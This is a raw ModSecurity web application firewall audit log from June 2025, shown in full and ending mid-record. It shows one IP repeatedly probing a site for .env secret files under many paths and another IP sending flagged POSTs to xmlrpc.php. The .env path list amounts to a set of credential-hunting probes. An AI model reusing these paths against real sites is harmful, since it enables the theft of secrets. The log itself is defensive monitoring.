--b9745860-Z-- --46bb5c01-A-- [16/Jun/2025:05:23:07.306296 +0530] aE9c4q9aeHfzqoyJ7PMfQQAAABY 185.177.72.210 33230 127.0.0.1 7081 --46bb5c01-B-- GET /:5601/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --46bb5c01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f31308c67d98185f790e3ebb6e090dc21750031587; expires=Mon, 16 Jun 2025 00:53:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --46bb5c01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/database/.env"] [unique_id "aE9c4q9aeHfzqoyJ7PMfQQAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031586640330 666029 (- - -) Stopwatch2: 1750031586640330 666029; combined=1650, p1=363, p2=1189, p3=0, p4=0, p5=97, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46bb5c01-Z-- --f1927b17-A-- [16/Jun/2025:05:23:12.937603 +0530] aE9c5_bo0R64L12N_alQLgAAAAQ 128.199.112.101 35076 127.0.0.1 7081 --f1927b17-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f1927b17-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f1927b17-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9c5_bo0R64L12N_alQLgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031591952270 985389 (- - -) Stopwatch2: 1750031591952270 985389; combined=2325, p1=394, p2=1535, p3=43, p4=66, p5=179, sr=114, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1927b17-Z-- --637dd935-A-- [16/Jun/2025:05:23:29.098654 +0530] aE9c-A9THibLN0xLxETrigAAAAk 185.177.72.210 41594 127.0.0.1 7081 --637dd935-B-- GET /:8880/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --637dd935-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6051ea982993151d7c501e3f1402d7b51750031608; expires=Mon, 16 Jun 2025 00:53:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --637dd935-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/production/.env"] [unique_id "aE9c-A9THibLN0xLxETrigAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031608368356 730360 (- - -) Stopwatch2: 1750031608368356 730360; combined=2276, p1=505, p2=1684, p3=0, p4=0, p5=87, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --637dd935-Z-- --daefa80b-A-- [16/Jun/2025:05:23:32.268556 +0530] aE9c-z_3U3BzRxhKqekk-AAAAAM 185.177.72.210 33824 127.0.0.1 7081 --daefa80b-B-- GET /api/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --daefa80b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b6444e462c800220713bb0b3852d56eb1750031612; expires=Mon, 16 Jun 2025 00:53:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --daefa80b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/v1/.env"] [unique_id "aE9c-z_3U3BzRxhKqekk-AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031611570789 697851 (- - -) Stopwatch2: 1750031611570789 697851; combined=1984, p1=400, p2=1451, p3=0, p4=0, p5=132, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --daefa80b-Z-- --0fbb7311-A-- [16/Jun/2025:05:23:33.327985 +0530] aE9c_NVsbyFDndheOrkwcgAAAAE 185.177.72.210 33908 127.0.0.1 7081 --0fbb7311-B-- GET /:8000/apps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fbb7311-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7947f5b2502feffba004542dbdd6fd91750031613; expires=Mon, 16 Jun 2025 00:53:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fbb7311-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/apps/.env"] [unique_id "aE9c_NVsbyFDndheOrkwcgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031612669384 658663 (- - -) Stopwatch2: 1750031612669384 658663; combined=2576, p1=544, p2=1936, p3=0, p4=0, p5=96, sr=179, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fbb7311-Z-- --fce6ff2e-A-- [16/Jun/2025:05:23:43.718164 +0530] aE9dBw9THibLN0xLxETrkQAAAAk 185.177.72.210 55312 127.0.0.1 7081 --fce6ff2e-B-- GET /script/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fce6ff2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=37f1255354cbec772d3df753236ed9fb1750031623; expires=Mon, 16 Jun 2025 00:53:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fce6ff2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/script/.env"] [unique_id "aE9dBw9THibLN0xLxETrkQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031623050095 668132 (- - -) Stopwatch2: 1750031623050095 668132; combined=2046, p1=424, p2=1524, p3=0, p4=0, p5=97, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fce6ff2e-Z-- --0ff19737-A-- [16/Jun/2025:05:24:12.273395 +0530] aE9dI1EBvmqd8j7Fed2nwQAAABM 128.199.112.101 33380 127.0.0.1 7081 --0ff19737-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0ff19737-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0ff19737-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9dI1EBvmqd8j7Fed2nwQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031651336530 936921 (- - -) Stopwatch2: 1750031651336530 936921; combined=2072, p1=367, p2=1300, p3=45, p4=62, p5=185, sr=94, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ff19737-Z-- --ed589874-A-- [16/Jun/2025:05:25:12.897168 +0530] aE9dXw9THibLN0xLxETruwAAAAk 128.199.112.101 48114 127.0.0.1 7081 --ed589874-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ed589874-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ed589874-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9dXw9THibLN0xLxETruwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031711946622 950602 (- - -) Stopwatch2: 1750031711946622 950602; combined=2243, p1=362, p2=1482, p3=47, p4=65, p5=177, sr=94, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ed589874-Z-- --97ef571e-A-- [16/Jun/2025:05:25:54.854468 +0530] aE9diq9aeHfzqoyJ7PMflgAAABY 185.177.72.210 49992 127.0.0.1 7081 --97ef571e-B-- GET /.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97ef571e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c8641469d0aace9220fccf8be030d7f1750031754; expires=Mon, 16 Jun 2025 00:55:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97ef571e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.www"] [unique_id "aE9diq9aeHfzqoyJ7PMflgAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031754198211 656318 (- - -) Stopwatch2: 1750031754198211 656318; combined=1774, p1=353, p2=1344, p3=0, p4=0, p5=76, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97ef571e-Z-- --8fb9e668-A-- [16/Jun/2025:05:25:59.581328 +0530] aE9djlEBvmqd8j7Fed2n9gAAABM 185.177.72.210 50248 127.0.0.1 7081 --8fb9e668-B-- GET /:5000/project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8fb9e668-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b95709fa41db0bb46167d650359671f21750031759; expires=Mon, 16 Jun 2025 00:55:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8fb9e668-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/project/.env"] [unique_id "aE9djlEBvmqd8j7Fed2n9gAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031758925542 655869 (- - -) Stopwatch2: 1750031758925542 655869; combined=1863, p1=410, p2=1360, p3=0, p4=0, p5=93, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fb9e668-Z-- --44a34e05-A-- [16/Jun/2025:05:26:12.140644 +0530] aE9dm6pdvXW4_hknQUUw6AAAAAo 128.199.112.101 46478 127.0.0.1 7081 --44a34e05-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --44a34e05-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --44a34e05-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9dm6pdvXW4_hknQUUw6AAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031771202173 938560 (- - -) Stopwatch2: 1750031771202173 938560; combined=2550, p1=369, p2=1599, p3=59, p4=112, p5=264, sr=97, sw=147, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --44a34e05-Z-- --c5914e2c-A-- [16/Jun/2025:05:26:16.430337 +0530] aE9dn69aeHfzqoyJ7PMfpQAAABY 185.177.72.210 46870 127.0.0.1 7081 --c5914e2c-B-- GET /:8000/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c5914e2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=37d2d10b82fc803ecdb262fe2a1547a71750031776; expires=Mon, 16 Jun 2025 00:56:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c5914e2c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.development"] [unique_id "aE9dn69aeHfzqoyJ7PMfpQAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031775769463 660956 (- - -) Stopwatch2: 1750031775769463 660956; combined=2098, p1=431, p2=1559, p3=0, p4=0, p5=107, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c5914e2c-Z-- --0150dc6e-A-- [16/Jun/2025:05:26:23.658359 +0530] aE9dpq9aeHfzqoyJ7PMfqQAAABY 185.177.72.210 54810 127.0.0.1 7081 --0150dc6e-B-- GET /:8443/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0150dc6e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f12161c855b0ced2850a54580d414d41750031783; expires=Mon, 16 Jun 2025 00:56:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0150dc6e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/wp-content/.env"] [unique_id "aE9dpq9aeHfzqoyJ7PMfqQAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031782844146 814287 (- - -) Stopwatch2: 1750031782844146 814287; combined=1840, p1=407, p2=1340, p3=0, p4=0, p5=93, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0150dc6e-Z-- --d6083f57-A-- [16/Jun/2025:05:26:39.177920 +0530] aE9dtlEBvmqd8j7Fed2oCwAAABM 185.177.72.210 33540 127.0.0.1 7081 --d6083f57-B-- GET /:8888/umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d6083f57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6d6a58be680db66687451863382bf4dc1750031799; expires=Mon, 16 Jun 2025 00:56:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d6083f57-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/umgebung/.env"] [unique_id "aE9dtlEBvmqd8j7Fed2oCwAAABM"] Apache-Handler: 